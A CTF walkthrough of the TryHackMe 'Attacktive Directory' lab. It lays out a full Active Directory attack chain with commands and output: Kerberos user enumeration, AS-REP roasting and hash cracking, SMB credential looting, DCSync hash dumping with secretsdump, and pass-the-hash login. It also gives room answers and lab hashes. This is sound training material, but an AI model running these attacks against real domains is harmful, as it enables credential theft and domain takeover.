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attacktivedirectory.md

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Attacktive Directory

Room Link: https://tryhackme.com/r/room/attacktivedirectory

Tools

  1. NMap
  2. kerbrute
  3. Impacket
  4. hashcat
  5. smbclient
  6. Evil-WinRM

Deploy The Machine

  1. Goto Access and get ovpn file to connect https://tryhackme.com/access Or, Start attackbox for testing.
  2. Start Machine and get Target IP from "Target Machine Information".
  3. Now, Click on all four Completes.

Setup

  1. Follow Instructions in this section, to Install Impacket, Bloodhound and Neo4j.
  2. After installing click on Complete.

Welcome to Attacktive Directory

  1. Running nmap scan shows some open ports, command used nmap -sV -sC 10.10.94.138. 
    nmap -sV -sC 10.10.94.138
Starting Nmap 7.94 ( https://nmap.org ) at 2024-08-24 12:12 IST
Nmap scan report for 10.10.94.138
Host is up (0.17s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-08-24 06:49:23Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: spookysec.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-08-24T06:49:42+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: THM-AD
|   NetBIOS_Domain_Name: THM-AD
|   NetBIOS_Computer_Name: ATTACKTIVEDIREC
|   DNS_Domain_Name: spookysec.local
|   DNS_Computer_Name: AttacktiveDirectory.spookysec.local
|   Product_Version: 10.0.17763
|_  System_Time: 2024-08-24T06:49:33+00:00
| ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local
| Not valid before: 2024-08-23T06:06:09
|_Not valid after:  2025-02-22T06:06:09
Service Info: Host: ATTACKTIVEDIREC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-08-24T06:49:37
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 449.40 seconds
  2. Question What tool will allow us to enumerate port 139/445? Answer enum4linux. enum4linux can be used to enumerate 139/445 ports.
  3. Question What is the NetBIOS-Domain Name of the machine? Answer THM-AD
  4. Question What invalid TLD do people commonly use for their Active Directory Domain? Answer .local

Enumerating Users via Kerberos

  1. Now, we will bruteforce Kerberos with kerbrute using given userlist.txt and passwordlist.txt. So, at first we need to download those wordlists and install kerbrute.
  2. Assign spookysec.local to machine ip is in host file. We can simply edit /etc/hosts file in Linux to assign domain to the ip.
  3. We can use this command kerbrute userenum --dc spookysec.local -d spookysec.local userlist.txt to enumerate users. We got some valid usernames after scanning. 
    [email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
  4. Question What command within Kerbrute will allow us to enumerate valid usernames? Answer userenum.
  5. Question What notable account is discovered? (These should jump out at you) Answer svc-admin. svc-admin typically suggests a service account (svc) with administrative privileges (admin).
  6. Question What is the other notable account is discovered? (These should jump out at you) Answer backup.

Abusing Kerberos

  1. Read this section, then proceed.
  2. We can use GetNPUsers.py -dc-ip spookysec.local spookysec.local/svc-admin -no-pass or GetNPUsers.py -dc-ip spookysec.local spookysec.local/ -no-pass -usersfile user.txt after saving all users to user.txt to capture TGT Token of svc-admin using ASREPRoasting method. 
    GetNPUsers.py -dc-ip spookysec.local spookysec.local/svc-admin -no-pass
Impacket v0.12.0.dev1+20240807.21946.829239e - Copyright 2023 Fortra

[*] Getting TGT for svc-admin
$krb5asrep$23$svc[email protected]:92f01444cd97361751ec4fb5b5ea985a$04b60fa94a84739e7db13609241d16247154e8d1f952c26a0c5063e53d08c9a4365690982460f7872d8ade23113cd4df929c85d5404f4380fdcaa5af2ee22d7988d7ee428e535be1b2dcff88bf574d418ca88c3b435cea77b6ea322b510bcf59ac1fba479d54db52104c3bec497cf1b81ddcd384bbb5d115ba2c380f0520705c7b63c88f548f17a9c6c8c1b746175b896b29555a45002ad5195a90d42c45193e42915a1107ed46a6b79da94b835f5e7bd8858c0bb7f07fecab80f7097c769da284ea270697500ea73ea223d93684e8d087248610cf7809d076d5e97564e9729ec5aa04656eaec9f3f5a92ecfaa8524346e93
  3. Question We have two user accounts that we could potentially query a ticket from. Which user account can you query a ticket from with no password? Answer svc-admin
  4. Question Looking at the Hashcat Examples Wiki page, what type of Kerberos hash did we retrieve from the KDC? (Specify the full name) Answer Kerberos 5 AS-REP etype 23. Source: https://hashcat.net/wiki/doku.php?id=example_hashes
  5. Question What mode is the hash? Answer 18200 Source: https://hashcat.net/wiki/doku.php?id=example_hashes
  6. We can save the TGT hash inside a file named hash.txt with given passwordlist and crack it with hashcat -m 18200 hash.txt passwordlist.txt.
  7. Question Now crack the hash with the modified password list provided, what is the user accounts password? Answer management2005

Back to the Basics

  1. If we enumerate with smbclient we can see some shares. Used command smbclient -L \\\\spookysec.local\\ -U 'svc-admin' using password management2005.
smbclient -L \\\\spookysec.local\\ -U 'svc-admin'
Password for [WORKGROUP\svc-admin]:

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	backup          Disk      
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share 
	SYSVOL          Disk      Logon server share 
SMB1 disabled -- no workgroup available
  1. If we check backup share with smbclient using smbclient \\\\spookysec.local\\backup -U 'svc-admin' command and password management2005, We can see backup_credentials.txt file there with ls or dir command. Then we can download backup_credentials.txt with get backup_credentials.txt command.
ORKGROUP\svc-admin]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Apr  5 00:38:39 2020
  ..                                  D        0  Sun Apr  5 00:38:39 2020
  backup_credentials.txt              A       48  Sun Apr  5 00:38:53 2020

		8247551 blocks of size 4096. 3648829 blocks available
smb: \> get backup_credentials.txt
getting file \backup_credentials.txt of size 48 as backup_credentials.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \>
  1. Inside it there is a base64 encoded string YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw. If we decode it using cat backup_credentials.txt |base64 -d command we will get [email protected]:backup2517860.
  2. Question What utility can we use to map remote SMB shares? Answer smbclient
  3. Question Which option will list shares? Answer -L
  4. Question How many remote shares is the server listing? Answer 6
  5. Question There is one particular share that we have access to that contains a text file. Which share is it? Answer backup
  6. Question What is the content of the file? Answer YmFja3VwQHNwb29reXNlYy5sb2NhbDpiYWNrdXAyNTE3ODYw
  7. Question Decoding the contents of the file, what is the full contents? Answer [email protected]:backup2517860

Elevating Privileges within the Domain

  1. We can dump password hashes, as backup account has that permission using secretsdump.py -dc-ip spookysec.local backup:[email protected] command.
secretsdump.py -dc-ip spookysec.local backup:[email protected]
Impacket v0.12.0.dev1+20240807.21946.829239e - Copyright 2023 Fortra

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:0e0363213e37b94221497260b0bcb4fc:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0e2eb8158c27bed09861033026be4c21:::
spookysec.local\skidy:1103:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\breakerofthings:1104:aad3b435b51404eeaad3b435b51404ee:5fe9353d4b96cc410b62cb7e11c57ba4:::
spookysec.local\james:1105:aad3b435b51404eeaad3b435b51404ee:9448bf6aba63d154eb0c665071067b6b:::
spookysec.local\optional:1106:aad3b435b51404eeaad3b435b51404ee:436007d1c1550eaf41803f1272656c9e:::
spookysec.local\sherlocksec:1107:aad3b435b51404eeaad3b435b51404ee:b09d48380e99e9965416f0d7096b703b:::
spookysec.local\darkstar:1108:aad3b435b51404eeaad3b435b51404ee:cfd70af882d53d758a1612af78a646b7:::
.........
..............
  1. Question What method allowed us to dump NTDS.DIT? Answer DRSUAPI
  2. Question What is the Administrators NTLM hash? Answer 0e0363213e37b94221497260b0bcb4fc
  3. Question What method of attack could allow us to authenticate as the user without the password? Answer Pass the hash
  4. Question Using a tool called Evil-WinRM what option will allow us to use a hash? Answer -H

Flag Submission Panel

  1. We can login to administrator using evil-winrm with evil-winrm -i spookysec.local -u Administrator -H 0e0363213e37b94221497260b0bcb4fc command. We can get three flag files inside three directory.
evil-winrm -i spookysec.local -u Administrator -H 0e0363213e37b94221497260b0bcb4fc                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\svc-admin\Desktop\user.txt.txt
TryHackMe{K3rb3****4uth}
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\backup\Desktop\PrivEsc.txt
TryHackMe{B4c*****c0tty!}
*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txt
TryHackMe{4ctive*****toryM4st3r}
*Evil-WinRM* PS C:\Users\Administrator\Documents>
  1. Question svc-admin Answer TryHackMe{K3rb3*****3_4uth}
  2. Question backup Answer TryHackMe{B4*****0tty!}
  3. Question administrator Answer TryHackMe{4ctiv******M4st3r}

Author: Zishan Ahamed Thandar